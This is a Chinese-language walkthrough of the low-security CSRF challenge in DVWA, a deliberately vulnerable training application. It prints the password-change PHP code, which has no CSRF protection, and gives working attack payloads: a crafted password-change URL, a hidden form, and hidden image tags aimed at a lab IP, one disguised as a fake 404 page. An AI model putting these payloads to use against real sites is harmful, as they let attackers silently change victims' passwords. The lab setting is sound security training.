| 
                         (1) Low level 
- <?php  
 -  
 - if( isset( $_GET[ 'Change' ] ) ) {  
 -     // Get input  
 -     $pass_new  = $_GET[ 'password_new' ];  
 -     $pass_conf = $_GET[ 'password_conf' ];  
 -  
 -     // Do the passwords match?  
 -     if( $pass_new == $pass_conf ) {  
 -         // They do!  
 -         $pass_new = mysql_real_escape_string( $pass_new );  
 -         $pass_new = md5( $pass_new );  
 -  
 -         // Update the database  
 -         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";  
 -         $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );  
 -  
 -         // Feedback for the user  
 -         echo "<pre>Password Changed.</pre>";  
 -     }  
 -     else {  
 -         // Issue with passwords matching  
 -         echo "<pre>Passwords did not match.</pre>";  
 -     }  
 -  
 -     mysql_close();  
 - }  
 -  
 - ?> 
 
  
所谓的CSRF(Cross-site request  forgery)直白的翻译就是跨站点请求伪造。说人话就是攻击者通过诱使victim访问其精心构造的url或者访问其精心构造的页面,来使得攻击者可以以victim的身份做诸如发邮件,发消息,改密码等骚操作。在DVWA这个系列里面,模拟的是修改密码的界面。先来看下low等级的代码,可以说是没有进行仍和的再认证,试下为啥是“再认证”?其实我们在访问到这个修改密码界面的时候,已经登陆过一次,服务器会在每次访问时检查session。所以这是第一道认证。但是这种会话级别的认证对csrf是没有抵抗力的。具体的过程可以参看之前提到的链接。我们可以直接构造url: 
  http://localhost/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#。 
让victim访问,或者使用更加隐匿的: 
- <style> 
 -    form{ 
 -     display:none; 
 -    } 
 - </style> 
 
  
构造无迹表单,结合js发送请求,或者: 
- <img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0"    style="display:none;"/> 
 
  
来实现欺骗隐匿行踪,达到修改密码的目的。顺便盗用两个别人的poc方便展示: 
图片形式诱导 
- <img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/> 
 -  
 - <h1>404<h1> 
 -  
 - <h2>file not found.<h2> 
 
  
                        (编辑:泰州站长网) 
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! 
                     |